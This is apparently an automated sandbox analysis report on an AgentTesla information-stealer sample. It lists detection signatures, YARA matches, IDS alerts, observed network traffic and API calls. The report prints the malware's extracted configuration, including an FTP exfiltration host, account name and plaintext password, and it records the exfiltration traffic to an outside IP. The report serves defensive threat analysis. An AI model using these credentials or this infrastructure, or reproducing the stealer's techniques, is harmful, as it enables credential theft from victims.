Edit tour

Windows Analysis Report
J8V6dFanEo.exe

Overview

General Information

Sample name:	J8V6dFanEo.exe renamed because original name is a hash value
Original sample name:	809767aab51beef5e228607daf87e53a03d96b5ca11d31d1ea21f78fbe07b8df.exe
Analysis ID:	1588617
MD5:	11859bcb5a4f2da18932f19a39f71b88
SHA1:	e141ec8206896ff4f945438052cc1ad0dc828b4d
SHA256:	809767aab51beef5e228607daf87e53a03d96b5ca11d31d1ea21f78fbe07b8df
Tags:	AgentTeslaexeuser-adrian__luca
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Generic Downloader

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses FTP

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

J8V6dFanEo.exe (PID: 7788 cmdline: "C:\Users\user\Desktop\J8V6dFanEo.exe" MD5: 11859BCB5A4F2DA18932F19A39F71B88)

RegSvcs.exe (PID: 7884 cmdline: "C:\Users\user\Desktop\J8V6dFanEo.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.jeepcommerce.rs", "Username": "w133y@jeepcommerce.rs", "Password": "Q6]7rLSD*gU2"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34703:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34775:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x347ff:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34891:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x348fb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3496d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34a03:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34a93:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x318f7:$s2: GetPrivateProfileString 0x30fd4:$s3: get_OSFullName 0x32638:$s5: remove_Key 0x3279b:$s5: remove_Key 0x336f3:$s6: FtpWebRequest 0x346e5:$s7: logins 0x34c57:$s7: logins 0x3795c:$s7: logins 0x37a1a:$s7: logins 0x3936d:$s7: logins 0x385b4:$s9: 1.85 (Hash, version 2, native byte-order)
00000002.00000002.3895417120.0000000002471000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.3895417120.0000000002471000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.3895417120.000000000249E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: J8V6dFanEo.exe PID: 7788	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: J8V6dFanEo.exe PID: 7788	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 7884	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7884	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.RegSvcs.exe.150000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RegSvcs.exe.150000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.RegSvcs.exe.150000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.2.RegSvcs.exe.150000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34703:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34775:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x347ff:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34891:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x348fb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3496d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34a03:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34a93:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
2.2.RegSvcs.exe.150000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x318f7:$s2: GetPrivateProfileString 0x30fd4:$s3: get_OSFullName 0x32638:$s5: remove_Key 0x3279b:$s5: remove_Key 0x336f3:$s6: FtpWebRequest 0x346e5:$s7: logins 0x34c57:$s7: logins 0x3795c:$s7: logins 0x37a1a:$s7: logins 0x3936d:$s7: logins 0x385b4:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.J8V6dFanEo.exe.db0000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.J8V6dFanEo.exe.db0000.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.J8V6dFanEo.exe.db0000.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.J8V6dFanEo.exe.db0000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34703:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34775:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x347ff:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34891:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x348fb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3496d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34a03:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34a93:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.J8V6dFanEo.exe.db0000.0.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x318f7:$s2: GetPrivateProfileString 0x30fd4:$s3: get_OSFullName 0x32638:$s5: remove_Key 0x3279b:$s5: remove_Key 0x336f3:$s6: FtpWebRequest 0x346e5:$s7: logins 0x34c57:$s7: logins 0x3795c:$s7: logins 0x37a1a:$s7: logins 0x3936d:$s7: logins 0x385b4:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.J8V6dFanEo.exe.db0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.J8V6dFanEo.exe.db0000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.J8V6dFanEo.exe.db0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32903:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32975:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x329ff:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32a91:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32afb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32b6d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32c03:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32c93:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.J8V6dFanEo.exe.db0000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2faf7:$s2: GetPrivateProfileString 0x2f1d4:$s3: get_OSFullName 0x30838:$s5: remove_Key 0x3099b:$s5: remove_Key 0x318f3:$s6: FtpWebRequest 0x328e5:$s7: logins 0x32e57:$s7: logins 0x35b5c:$s7: logins 0x35c1a:$s7: logins 0x3756d:$s7: logins 0x367b4:$s9: 1.85 (Hash, version 2, native byte-order)
Click to see the 9 entries

Suricata Signatures

ET MALWARE AgentTesla Exfil via FTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:14:14.333699+0100	2029927	1	A Network Trojan was detected	192.168.2.8	49706	195.252.110.253	21	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:14:14.918373+0100	2855542	1	A Network Trojan was detected	192.168.2.8	49707	195.252.110.253	60535	TCP
2025-01-11T03:14:14.925192+0100	2855542	1	A Network Trojan was detected	192.168.2.8	49707	195.252.110.253	60535	TCP

Joe Security MALWARE AgentTesla - FTP Exfil Passwords

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:14:14.925192+0100	1800009	1	A Network Trojan was detected	192.168.2.8	49707	195.252.110.253	60535	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://ftp.jeepcommerce.rs

Avira URL Cloud: Label: malware

Found malware configuration

Source: 2.2.RegSvcs.exe.150000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.jeepcommerce.rs", "Username": "w133y@jeepcommerce.rs", "Password": "Q6]7rLSD*gU2"}

Multi AV Scanner detection for submitted file

Source: J8V6dFanEo.exe	ReversingLabs: Detection: 73%
Source: J8V6dFanEo.exe	Virustotal: Detection: 51%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: J8V6dFanEo.exe

Joe Sandbox ML: detected

Source: J8V6dFanEo.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: wntdll.pdbUGP source: J8V6dFanEo.exe, 00000000.00000003.1461379506.0000000003DA0000.00000004.00001000.00020000.00000000.sdmp, J8V6dFanEo.exe, 00000000.00000003.1460830438.0000000003C00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: J8V6dFanEo.exe, 00000000.00000003.1461379506.0000000003DA0000.00000004.00001000.00020000.00000000.sdmp, J8V6dFanEo.exe, 00000000.00000003.1460830438.0000000003C00000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00F2445A
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2C6D1 FindFirstFileW,FindClose,	0_2_00F2C6D1
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00F2C75C
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00F2EF95
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00F2F0F2
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00F2F3F3
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F237EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00F237EF
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F23B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00F23B12
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00F2BCBC

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.8:49706 -> 195.252.110.253:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.8:49707 -> 195.252.110.253:60535
Source: Network traffic	Suricata IDS: 1800009 - Severity 1 - Joe Security MALWARE AgentTesla - FTP Exfil Passwords : 192.168.2.8:49707 -> 195.252.110.253:60535

Yara detected Generic Downloader

Source: Yara match	File source: 2.2.RegSvcs.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.J8V6dFanEo.exe.db0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 195.252.110.253:60535

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 195.252.110.253 195.252.110.253

Source: unknown

DNS query: name: ip-api.com

Source: unknown

FTP traffic detected: 195.252.110.253:21 -> 192.168.2.8:49706 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 03:14. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 03:14. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 03:14. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 03:14. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F322EE InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00F322EE

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: ftp.jeepcommerce.rs

Source: RegSvcs.exe, 00000002.00000002.3895417120.000000000249E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.jeepcommerce.rs
Source: RegSvcs.exe, 00000002.00000002.3895417120.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: J8V6dFanEo.exe, 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3895417120.0000000002441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: RegSvcs.exe, 00000002.00000002.3895417120.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: J8V6dFanEo.exe, 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F34164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00F34164

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F34164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00F34164

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F33F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00F33F66

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F2001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00F2001C

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F4CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00F4CABC

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.RegSvcs.exe.150000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 2.2.RegSvcs.exe.150000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.J8V6dFanEo.exe.db0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.J8V6dFanEo.exe.db0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.J8V6dFanEo.exe.db0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.J8V6dFanEo.exe.db0000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00EC3B3A
Source: J8V6dFanEo.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: J8V6dFanEo.exe, 00000000.00000000.1418836342.0000000000F74000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_120c19e8-1
Source: J8V6dFanEo.exe, 00000000.00000000.1418836342.0000000000F74000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_33170670-d
Source: J8V6dFanEo.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_33c67077-9
Source: J8V6dFanEo.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_0775a4cf-1

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F2A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00F2A1EF

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F18310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00F18310

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F251BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00F251BD

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00ECE6A0	0_2_00ECE6A0
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EED975	0_2_00EED975
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00ECFCE0	0_2_00ECFCE0
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EE21C5	0_2_00EE21C5
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EF62D2	0_2_00EF62D2
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F403DA	0_2_00F403DA
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EF242E	0_2_00EF242E
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EE25FA	0_2_00EE25FA
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00ED66E1	0_2_00ED66E1
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F1E616	0_2_00F1E616
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EF878F	0_2_00EF878F
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F28889	0_2_00F28889
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F40857	0_2_00F40857
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EF6844	0_2_00EF6844
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00ED8808	0_2_00ED8808
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EECB21	0_2_00EECB21
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EF6DB6	0_2_00EF6DB6
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00ED6F9E	0_2_00ED6F9E
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00ED3030	0_2_00ED3030
